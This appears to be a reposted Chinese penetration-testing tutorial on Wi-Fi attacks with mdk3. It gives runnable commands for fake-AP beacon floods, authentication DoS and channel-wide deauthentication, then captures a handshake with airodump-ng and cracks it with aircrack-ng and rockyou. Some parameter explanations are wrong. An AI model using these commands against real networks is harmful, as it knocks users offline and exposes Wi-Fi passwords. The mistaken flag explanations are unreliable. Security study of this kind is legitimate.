渗透测试--6.2.mdk3攻击wifi

news2024/11/19 16:45:10

前言

本次依然使用Kali虚拟机系统,win11主机,网卡Ralink 802.11

配合mdk3进行wifi伪造、连接设备查看、解除认证攻击。
本次实验只用于学习交流,攻击目标为自家的手机热点,请勿违法使用!

目录

前言

1.Deauth攻击原理

2.mdk3介绍

3.mdk实战

准备工作

3.1 mdk3创建虚拟wifi 

3..1.1 创建一个虚拟wifi

 3.1.2 创建大量虚拟wifi

3.2 扫描连接wifi的设备

3.3 向指定AP进行Dos攻击

3.4 向指定AP发起取消认证攻击

3.4.1攻击单一Ap

3.4.2 信道(ch)攻击AP 

4.mdk3实现无线网络攻击 

步骤一:使用mdk3强制解除验证解除连接的设备

步骤二:获取握手数据包

步骤三:密码字典破解wifi密码


1.Deauth攻击原理

        取消验证洪水攻击,国际上称之为De-authenticationFloodAttack,全称即取消身份验证洪水攻击或验证阻断洪水攻击,通常被简称为Deauth攻击。是无线网络拒绝服务攻击的一种形式,它旨在通过欺骗从AP到客户端单播地址的取消身份验证帧来将客户端转为未关联的/未认证的状态。对于目前广泛使用的无线客户端适配器工具来说,这种形式的攻击在打断客户端无线服务方面非常有效和快捷。一般来说,在攻击者发送另一个取消身份验证帧之前,客户站会重新关联和认证以再次获取服务。攻击者反复欺骗取消身份验证帧才能使所有客户端持续拒绝服务。
        需要说明的是,De-authenticationBroadcastAttack即取消身份验证广播攻击和De-
authenticationFloodAttack即取消身份验证洪水攻击原理基本一致,只是在发送程度及使用工具上有所区别,但前者很多时候用于配合进行无线中间人攻击,而后者常用于纯粹的无线D.O.S,所以很多不够清楚的无线安全资料上会将两者放在一起提及。

取消身份验证洪水攻击具体步骤如下:

  1. 攻击者先通过扫描工具识别出预攻击目标(无线接入点和所有已连接的无线客户端)。
  2. 通过伪造无线接入点和无线客户端来将含有de-authentication帧注入到正常无线网络通信。此时,无线客户端会认为所有数据包均来自无线接入点。
  3. 在将指定无线客户端“踢出”无线网络后,攻击者可以对其他客户端进行同样的攻击,并可以持续进行以确保这些客户端无法连接AP。
  4. 尽管客户端会尝试再次连接AP,但由于攻击者的持续攻击,将会很快被断开。

下图为笔者绘制的取消身份验证洪水攻击原理图,可看到攻击者对整个无线网络发送了伪造的取消身份验证报文。


2.mdk3介绍

MDK3 (Murder Death Kill 3) 是一款开源的无线网络攻击工具,可以用于 Wi-Fi 功能的测试、漏洞利用、暴力破解和 DoS 攻击等方面。MDK3 可以模拟各种攻击场景,提供了许多有用的功能和选项。以下是 MDK3 的一些常用参数:

MDK USAGE:
mdk3 <interface> <test_mode> [test_options]   #mdk3用法:mdk3 网卡 测试模式 测试选项

TEST MODES:  #测试模式

b   - Beacon Flood Mode  #信标洪水模式 其实就是制造虚假AP干扰正常AP

      OPTIONS:
      -n <ssid>   
         Use SSID <ssid> instead of randomly generated ones  #使用SSID <ssid>而不是随机生成的
      -f <filename>
         Read SSIDs from file  #从文件中读取SSID
      -v <filename>
         Read MACs and SSIDs from file.  #从文件读取MAC和SSID
      -d
         Show station as Ad-Hoc   #将站显示为Ad-Hoc
      -w
         Set WEP bit (Generates encrypted networks)  #设置WEP位(生成加密网络)
      -g
         Show station as 54 Mbit  # 显示工作站为54M
      -t
         Show station using WPA TKIP encryption  #使用WPA TKIP加密显示工作站
      -a
         Show station using WPA AES encryption    #使用WPA AES加密显示工作站
      -m
         Use valid accesspoint MAC from OUI database  #使用来自OUI数据库的有效访问点MAC
      -h
         Hop to channel where AP is spoofed    #跳到AP被欺骗的频道
         This makes the test more effective against some devices/drivers  #这使得测试对于某些设备/驱动程序更有效
         But it reduces packet rate due to channel hopping.  #但它减少了由于信道跳频的分组速率
      -c <chan>
         Fake an AP on channel <chan>. If you want your card to hop on  #在频道<chan>上创建AP。如果你想要你的卡上跳
         this channel, you have to set -h option, too!  #这个通道,你必须设置-h选项!
      -s <pps>
         Set speed in packets per second (Default: 50)  #设置速度(以秒为单位)(默认值:50)

a   - Authentication DoS mode   # 身份验证洪水攻击 

      OPTIONS:
      -a <ap_mac>
         Only test the specified AP  #只测试指定的AP
      -m
         Use valid client MAC from OUI database  #从OUI数据库使用有效的客户端MAC
      -c
         Do NOT check for test being successful   #不要检查测试是否成功
      -i <ap_mac>
         Perform intelligent test on AP (-a and -c will be ignored)  #在AP上执行智能测试(-a和-c将被忽略)
         This test connects clients to the AP and reinjects sniffed data to keep them alive  #此测试将客户端连接到AP,并重新注入嗅探的数据以保持活动
      -s <pps>
         Set speed in packets per second (Default: unlimited)  #设置速度(以每秒包数为单位)(默认值:无限制)
p   - Basic probing and ESSID Bruteforce mode  #基本探测和ESSID Bruteforce模式

      Use -f and -t option to enable SSID Bruteforcing.  #使用-f和-t选项来启用SSID Bruteforcing。
      OPTIONS:
      -e <ssid>
         Tell mdk3 which SSID to probe for # 告诉mdk3要探测的SSID
      -f <filename>
         Read lines from file for bruteforcing hidden SSIDs  #从文件中读取行以强制执行隐藏的SSID
      -t <bssid>
         Set MAC adress of target AP  #设置目标AP的MAC地址
      -s <pps>
         Set speed (Default: unlimited, in Bruteforce mode: 300)  # 设置速度(默认值:无限制,在Bruteforce模式下:300)
      -b <character set> 
         Use full Bruteforce mode (recommended for short SSIDs only!) #使用完全的Bruteforce模式(建议只使用短SSID!)
         Use this switch only to show its help screen.  #使用此开关仅显示其帮助屏幕

         
d   - Deauthentication / Disassociation Amok Mode  #Deauthentication / Disassociation攻击模式
      Kicks everybody found from AP  #踢掉每个客户端
      OPTIONS:
      -w <filename>
         Read file containing MACs not to care about (Whitelist mode)  #白名单模式 读取包含MAC的文件以运行测试
      -b <filename>
         Read file containing MACs to run test on (Blacklist Mode)  #黑名单模式 读取文件中的运行测试MAC运行测试
      -s <pps>
         Set speed in packets per second (Default: unlimited) #设置速度(以每秒包数为单位)(默认值:无限制)
      -c [chan,chan,chan,...]  
         Enable channel hopping. Without providing any channels, mdk3 will hop an all  #设置信道跳跃如果没指定,mdk3会跳一个
         14 b/g channels. Channel will be changed every 5 seconds.   #14 b / g通道。信道每5秒更改一次

m   - Michael shutdown exploitation (TKIP)   #MAC关闭利用
      Cancels all traffic continuously   #连续取消所有流量
      -t <bssid>
         Set Mac address of target AP  #设置目标AP的Mac地址
      -w <seconds>
         Seconds between bursts (Default: 10)  #突发之间的秒数(默认值:10)
      -n <ppb>
         Set packets per burst (Default: 70)  #设置每个数据包的数据包(默认值:70)
      -j
         Use the new TKIP QoS-Exploit    #使用新的TKIP QoS-Exploit
         Needs just a few packets to shut AP down!  #需要几个数据包才能关闭AP!
      -s <pps>
         Set speed (Default: 400)   #设置速度(默认值:400)

w   - WIDS/WIPS/WDS Confusion
      将WDS与多认证客户端混淆,从而弄乱路由表
      -e <SSID>
         SSID of target WDS network  #目标WDS网络的SSID
      -c [chan,chan,chan...]   
         Use channel hopping  #使用信道跳跃
      -z
        激活Zero_Chaos的WIDS攻击
         (验证客户端从WDS到外部AP,使WIDS变得坚果)

f   - MAC filter bruteforce mode  #MAC过滤器强制模式
      此测试使用已知客户端MAC地址的列表,并尝试
      在动态改变的同时向给定AP认证它们
      其响应超时以获得最佳性能。它目前只工作
      对正确拒绝开放身份验证请求的AP
      -t <bssid>
         Target BSSID  #目标BSSID
      -m <mac>
         Set the MAC adress range to use (3 bytes, i.e. 00:12:34)   #设置要使用的MAC地址范围(3字节,即00:12:34)
         Without -m, the internal database will be used  #如果没有-m,将使用内部数据库
      -f <mac>
         Set the MAC adress to begin bruteforcing with  #设置MAC地址以开始强制
         (Note: You can't use -f and -m at the same time)  #(注意:不能同时使用-f和-m)

g   - WPA Downgrade test  #WPA降级测试
      deauthenticates发送WPA加密数据包的站和AP。
      有了这个测试,你可以检查sysadmin是否会尝试设置他的
      网络到WEP或禁用加密。 mdk3将使WEP和未加密
      客户端工作,所以如果系统管理员只是认为“WPA是破碎”他
      肯定不是这个工作的正确。
      (这可以/应该与社会工程相结合)
      -t <bssid>
         Target network  #目标网络

MDK3 支持许多其他选项和功能,可以根据需要使用它们。请注意,在使用 MDK3 工具时,请确保您已获得适当的授权并了解您使用该工具的目的及法律限制。


3.mdk实战

准备工作

连接网卡:

切换网卡为监听模式(monitor):

 AP扫描:


3.1 mdk3创建虚拟wifi 

3..1.1 创建一个虚拟wifi

输入下面命令来创建一个叫做“test_wifi”虚拟wifi。

mdk3 wlan0mon b -n test_wifi

 b -n:指定wifi名字 

 

 3.1.2创建大量虚拟wifi

输入下面命令来创建大量在信道为1随机名字的wifi

mdk3 wlan0mon b -g -c 1

该命令会在无线接口 wlan0mon 上使用 Beacon Flood Mode(信标洪泛模式)攻击,

目标为 BSSID 地址为 b,

攻击信道为 1。

其中 -g 参数表示使用泛洪模式,

即不断发送带有随机 SSID 和 MAC 地址的信标广播包,以干扰目标网络。通过这种方式可以使目标AP在所有连接设备之外都变得不可用,从而对目标网络造成干扰或攻击。

 

不一会,就创建了几十个wifi。
PS:伪AP的名字可以通过读取本地文件创建 

mdk3 wlan0mon b -f /root/names.txt -c 6 -s 1000

 该命令会在无线接口 wlan0mon 上使用 Beacon Flood Mode(信标洪泛模式)攻击,目标为随机 BSSID,攻击信道为 6,同时将随机生成的 SSID 使用 /root/names.txt 文件中的内容进行替换,1000ms。可以通过这种方式向附近的设备广播大量的热点信息,以干扰和误导目标网络的用户。


3.2扫描连接wifi的设备

使用下面命令可以扫描连接wifi的设备。请自行替换目标wifi名字

mdk3 wlan0mon w -e <SSID>


3.3 向指定AP进行Dos攻击

这是一种验证请求攻击模式:在这个模式里,软件自动模拟随机产生的mac向目标AP发起大量验证请求,可以导致AP忙于处理过多的请求而停止对正常连接客户端的响应;这个模式常见的使用是在reaver穷据路由PIN码,当遇到AP被“pin死”时,可以用这个模式来直接让AP停止正常响应,迫使AP主人重启路由,对于有些路由器防DOS的这个不好用。
 

输入下面命令,向指定AP发起DOS攻击。请自行替换目标MAC地址。

mdk3 wlan0mon a -a [MAC]

 

这个攻击对于我的路由器貌似没什么效果,可能是我的路由器防DoS或者是攻击时间太短请求都能够正常处理。


3.4 向指定AP发起取消认证攻击

3.4.1攻击单一Ap

使用以下命令可以强制解除验证解除连接的设备。请自行替换目标MAC地址

mdk3 wlan0mon d 76:87:4E:74:34:06

该命令使用MDK3的Deauthentication Mode(强制下线模式)针对指定的MAC地址(76:87:4E:74:34:06)进行攻击。在攻击期间,MDK3会发送大量的deauth帧,以迫使目标设备断开与Wi-Fi网络的连接。

3.4.2 信道(ch)攻击AP 

在这个模式下,软件会向周围所有可见AP发起循环攻击…可以造成一定范围内的无线网络瘫痪(当然有白名单,黑名单模式),直到手动停止攻击

mdk3 wlan0mon d -c 11 

该命令使用MDK3的Deauthentication Mode(强制下线模式)对Wi-Fi信道11上所有连接的设备进行攻击。在攻击期间,MDK3会发送大量的deauth帧,以迫使目标设备断开与Wi-Fi网络的连接。

 

快ctrl c停止,不然别人来找你了!


4.mdk3实现无线网络攻击 

步骤一:使用mdk3强制解除验证解除连接的设备

利用mdk3对指定AP进行攻击,发送取消认证数据包,解除连接在AP上的设备

mdk3 wlan0mon d 76:87:4E:74:34:06

这个时候wifi已经连接失败!

步骤二:获取握手数据包

airodump-ng  -c 1 --bssid 76:87:4E:74:34:06 -w /home/gyp-202031070222/桌面/wifi2 wlan0mon

 

步骤三:密码字典破解wifi密码

aircrack-ng -w /usr/share/wordlists/rockyou.txt /home/gyp-202031070222/桌面/wifi2-01.cap

 

其实原理和之前的deauth攻击差不多,让其断开连接后获取握手数据包,然后密码字典破解!

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/541433.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Electron简介、安装、实践

本文中的所有代码均存放在https://github.com/MADMAX110/my-electron-app Electron是什么&#xff1f; Electron是一个开源的框架&#xff0c;可以使用JavaScript, HTML和CSS来构建跨平台的桌面应用程序。Electron的核心是由Chromium和Node.js组成&#xff0c;它们分别提供了渲…

【springboot 开发工具】接口文档我正在使用它生成,舒坦

前言 先来描述下背景&#xff1a;由于新公司业务属于自研产品开发&#xff0c;但是发现各产品业务线对于接口文档暂时还是通过集成Swagger来维护&#xff0c;准确来说是knife4j&#xff08;Swagger的增强解决方案&#xff09;。但是对于5年的后端开发老说&#xff0c;早就厌倦…

Java-线程安全的四个经典案例和线程池

单例模式 有些对象&#xff0c;在一个程序中应该只有唯一 一个实例&#xff08;光靠人保证不靠谱 借助语法来保证&#xff09; 就可以使用单例模式 在单例模式下 对象的实例化被限制了 只能创建一个 多了的也创建不了 单例模式分为两种&#xff1a;饿汉模式和懒汉模式 饿汉模式…

[Java基础]—SpringBoot

Springboot入门 Helloworld 依赖 <parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>2.3.4.RELEASE</version> </parent><dependencies><depend…

软件测试基础知识整理(四)- 软件开发模型、测试过程模型

目录 一、软件开发模型 1.1 瀑布模型 1.1.1 特点 1.1.2 优缺点 1.2 快速原型模型&#xff08;了解&#xff09; 1.2.1 特点 1.2.2 优缺点 1.3 螺旋模型&#xff08;了解&#xff09; 1.3.1 特点 1.3.2 优缺点 二、测试过程模型 2.1 V模型&#xff08;重点&#xff…

LeetCode_29. 两数相除

目录 题目描述 思路分析 我的题解 题目描述 给你两个整数&#xff0c;被除数 dividend 和除数 divisor。将两数相除&#xff0c;要求 不使用 乘法、除法和取余运算。 整数除法应该向零截断&#xff0c;也就是截去&#xff08;truncate&#xff09;其小数部分。例如&#xff…

8个免费的高质量UI图标大全网站

UI图标素材是设计师必不可少的设计元素。 高质量的UI图标会让设计师的设计效率事半功倍。 本文分享8个免费的高质量UI图标大全网站。 即时设计资源社区 即时设计资源广场中精选了多款专业免费的UI图标设计资源&#xff0c;无需下载即可一键保存源文件&#xff0c;同时还提供…

深入浅析Linux Perf 性能分析工具及火焰图

Perf Event 子系统 Perf 是内置于 Linux 内核源码树中的性能剖析&#xff08;profiling&#xff09;工具。它基于事件采样的原理&#xff0c;以性能事件为基础&#xff0c;支持针对处理器相关性能指标与操作系统相关性能指标的性能剖析。可用于性能瓶颈的查找与热点代码的定位…

Maven PKIX path building failed 错误提示

最近公司的项目突然出现了下面的提示。 PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target -> [Help 2]问题和解决 出现上面的提示的问题是因为 SSL 签名的问题。 …

经典面试题:理解Cookie和Session之间的区别

文章目录 一、Cookie概念先知1、Cookie是什么&#xff1f;2、Cookie从哪里来&#xff1f;3、Cookie要存到哪里去&#xff1f;4、Cookie是存在哪里的&#xff1f;5、浏览器是如何通过Cookie来记录的&#xff1f;6、Cookie的过期时间有什么用&#xff1f; 二、见见Cookie三、会话…

软件设计师考试笔记,已通过

目录 系统可靠度 外部实体 内聚类型 编译过程 逆波兰式 前驱图 scrum框架模型 编译和解释 有限自动机 聚簇索引和非聚簇索引 二叉树的前序,中序,后序遍历 动态规划贪心算法 算法 01背包问题 系统可靠度 1. 串联部件可靠度 串联部件想要这条路走通&#xff0c;只有…

软件测试行业7年了,薪资从10k到了22k,感觉到头了?

蜕变之前 明天的希望&#xff0c;让我们忘了今天的痛苦。 怎样区别一个废柴和一个精英&#xff1f;看外貌&#xff0c;看气质&#xff0c;看谈吐&#xff0c;看消费… 有人忙着把人和人进行分类&#xff0c;有人忙着怎么从这一阶层过渡到上一阶层。当你很累的时候&#xff0c…

引入外部文件实现步骤

1.引入数据库相关依赖 2.创建外部属性文件&#xff0c;properties格式&#xff0c;定义数据信息&#xff1a;用户名 密码 地址等 3.创建spring配置文件&#xff0c;引入context命名空间&#xff0c;引入属性文件&#xff0c;使用表达式完成注入 <beans xmlns"http://w…

交友项目【集成环信Api】

目录 1&#xff1a;自动装配 2&#xff1a;查询用户环信账户 3&#xff1a;环信ID查询用户信息 1&#xff1a;自动装配 在项目中集成环信API&#xff0c;完成即时通信等 环信官方文档地址&#xff1a;Java Server SDK [IM 开发文档] 自动装配模块&#xff1a; pom文件相关…

2.数据结构期末复习之顺序表和链表

1.表是可以是线性结构 学号姓名19(数据项)jams(数据项)20(数据项)ming(数据项) 19 jams或 20 ming是数据元表单个的是数据项‘’线性结构可以表示为 19 jams->20 ming2.什么是逻辑结构?:具有相同类型的有限序列(元素排序的位置,排兵布阵操作的方法) a1 a2 a3 .... an (空…

jenkins流水线使用入门示例

之前采用Jenkins的自由风格构建的项目&#xff0c;每个步骤流程都要通过不同的方式设置&#xff0c;并且构建过程中整体流程是不可见的&#xff0c;无法确认每个流程花费的时间&#xff0c;并且问题不方便定位问题。 Jenkins的Pipeline可以让项目的发布整体流程可视化&#xf…

低代码开发大势所趋,这款无代码开发平台你值得拥有

文章目录 什么是低代码iVX和其它低代码的平台的区别没有创新的“拼凑”&#xff0c;没有好东西iVX在线编辑器体验 什么是低代码 低代码&#xff08;Low Code&#xff09;是一种可视化的应用开发方法&#xff0c;用较少的代码、以较快的速度来交付应用程序&#xff0c;将程序员…

ElasticSearch漫游 (1.安装ELK)

前期准备&#xff1a; 请搭建好linux环境 推荐使用centos7系统请关闭linux防火墙请安装好docker 安装ES 创建网络 我们需要部署kibana容器&#xff0c;因此需要让es和kibana互联&#xff0c;这里先创建一个网络。 docker network create es-net加载es镜像 运行docker命令 部…

智能无线温振传感器:提高锂电设备故障诊断精度的利器

当今锂电工厂对于设备可靠性和生产效率的要求越来越高&#xff0c;而设备故障诊断是其中非常重要的一环。针对锂电设备的振动和温度等健康状态的监测&#xff0c;智能无线温振传感器是一款非常有用的工具。 图.太阳能面板生产&#xff08;iStock&#xff09; 智能无线温振传感器…

和数组处理有关的一些OJ题(JAVA)(ArrayList)

1、给你一个数组 nums 和一个值 val&#xff0c;你需要 原地 移除所有数值等于 val 的元素&#xff0c;并返回移除后数组的新长度。 不要使用额外的数组空间&#xff0c;你必须确保时间复杂度为O(N)&#xff0c;空间复杂度为O&#xff0c;并原地修改输入数组。元素的顺序可以改…